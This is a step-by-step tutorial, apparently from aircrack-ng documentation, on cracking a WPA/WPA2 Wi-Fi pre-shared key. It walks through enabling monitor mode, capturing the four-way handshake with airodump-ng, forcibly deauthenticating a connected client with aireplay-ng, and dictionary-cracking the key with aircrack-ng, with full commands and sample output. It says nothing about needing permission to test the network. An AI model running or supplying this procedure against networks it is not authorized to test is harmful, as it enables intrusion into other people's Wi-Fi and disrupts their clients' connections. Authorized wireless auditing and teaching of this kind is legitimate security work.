wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz
 tar -zxvf aircrack-ng-1.2-rc4.tar.gz
 cd aircrack-ng-1.2-rc4
 make
 make install

Simply append ‘sqlite=true’ parameter to make and make install:

make sqlite=true
make sqlite=true install

Airodump-ng can match SSID with a regular expression when compiled with PCRE:

make pcre=true
make pcre=true install

Installing on Windows

How to use ?

Here are the basic steps we will be going through:

1. Start the wireless interface in monitor mode on the specific AP channel
2. Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
3. Use aireplay-ng to deauthenticate the wireless client
4. Run aircrack-ng to crack the pre-shared key using the authentication handshake

The purpose of this step is to put your card into what is called monitor mode. Monitor mode is the mode whereby your card can listen to every packet in the air. Normally your card will only hear packets addressed to you. By hearing every packet, we can later capture the WPA/WPA2 4-way handshake. As well, it will allow us to optionally deauthenticate a wireless client in a later step.

The exact procedure for enabling monitor mode varies depending on the driver you are using. To determine the driver (and the correct procedure to follow), run the following command:

 airmon-ng

On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds:

 Interface       Chipset         Driver
 
 rausb0          Ralink RT73     rt73
 wlan0           Broadcom        b43 - [phy0]
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0)

The presence of a [phy0] tag at the end of the driver name is an indicator for mac80211, so the Broadcom card is using a mac80211 driver. Note that mac80211 is supported only since aircrack-ng v1.0-rc1, and it won’t work with v0.9.1. Both entries of the Atheros card show “madwifi-ng” as the driver – follow the madwifi-ng-specific steps to set up the Atheros card. Finally, the Ralink shows neither of these indicators, so it is using an ieee80211 driver – see the generic instructions for setting it up.

First stop ath0 by entering:

 airmon-ng stop ath0

The system responds:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

 airmon-ng start wifi0 9

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.

The system will respond:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

You will notice that “ath0” is reported above as being put into monitor mode.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Only the madwifi-ng drivers show the card MAC address in the AP field, other drivers do not. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

Unlike madwifi-ng, you do not need to remove the wlan0 interface when setting up mac80211 drivers. Instead, use the following command to set up your card in monitor mode on channel 9:

 airmon-ng start wlan0 9

The system responds:

 Interface       Chipset         Driver
 
 wlan0           Broadcom        b43 - [phy0]
                                 (monitor mode enabled on mon0)

Notice that airmon-ng enabled monitor-mode on mon0. So, the correct interface name to use in later parts of the tutorial is mon0. Wlan0 is still in regular (managed) mode, and can be used as usual, provided that the AP that wlan0 is connected to is on the same channel as the AP you are attacking, and you are not performing any channel-hopping.

To confirm successful setup, run “iwconfig”. The following output should appear:

 lo        no wireless extensions.

 eth0      no wireless extensions.
 
 wmaster0  no wireless extensions.
 
 wlan0     IEEE 802.11bg  ESSID:""
           Mode:Managed  Frequency:2.452 GHz  Access Point: Not-Associated
           Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0
 
 mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Here, mon0 is seen as being in monitor mode, on channel 9 (2.452GHz). Unlike madwifi-ng, the monitor interface has no Access Point field at all. Also notice that wlan0 is still present, and in managed mode – this is normal. Because both interfaces share a common radio, they must always be tuned to the same channel – changing the channel on one interface also changes channel on the other one.

For other (ieee80211-based) drivers, simply run the following command to enable monitor mode (replace rausb0 with your interface name):

 airmon-ng start rausb0 9

The system responds:

 Interface       Chipset         Driver
 
 rausb0          Ralink          rt73 (monitor mode enabled)

At this point, the interface should be ready to use.

The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.

Enter:

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

Where:

• -c 9 is the channel for the wireless network
• –-bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminates extraneous traffic.
• -w psk is the file name prefix for the file which will contain the IVs.
• ath0 is the interface name.

Important: Do NOT use the “--ivs” option. You must capture the full packets.

Here what it looks like if a wireless client is connected to the network:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116

In the screen above, notice the “WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.

Here it is with no connected wireless clients:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes

See the Troubleshooting Tips section below for ideas.

To see if you captured any handshake packets, there are two ways. Watch the airodump-ng screen for “ WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means a four-way handshake was successfully captured. See just above for an example screenshot.

Use Wireshark and apply a filter of “eapol”. This displays only eapol packets you are interested in. Thus you can see if capture contains 0,1,2,3 or 4 eapol packets.

This step is optional. If you are patient, you can wait until airodump-ng captures a handshake when one or more clients connect to the AP. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then you have to be patient and wait for one to connect to the AP so that a handshake can be captured. Needless to say, if a wireless client shows up later and airodump-ng did not capture the handshake, you can backtrack and perform this step.

This step sends a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.

Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

Where:

• -0 means deauthentication
• 1 is the number of deauths to send (you can send multiple if you wish)
• -a 00:14:6C:7E:40:80 is the MAC address of the access point
• -c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
• ath0 is the interface name

Here is what the output looks like:

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

With luck this causes the client to reauthenticate and yield the 4-way handshake.

• The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.

The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.

There is a small dictionary that comes with aircrack-ng – “password.lst”. This file can be found in the “test” directory of the aircrack-ng source code. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.

Open another console session and enter:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

Where:

• -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
• *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.

Here is typical output when there are no handshakes found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.

When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.

Here is typical output when handshakes are found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.
 
 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)
 
 Choosing first network as target.

Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.

Here is what successfully cracking the pre-shared key looks like:

                               Aircrack-ng 0.8
 
 
                 [00:00:00] 2 keys tested (37.20 k/s)
 
 
                         KEY FOUND! [ 12345678 ]
 
 
    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 
 
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 
 
    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Troubleshooting Tips

I Cannot Capture the Four-way Handshake!

aircrack-ng says “0 handshakes”

aircrack-ng says “No valid WPA handshakes found”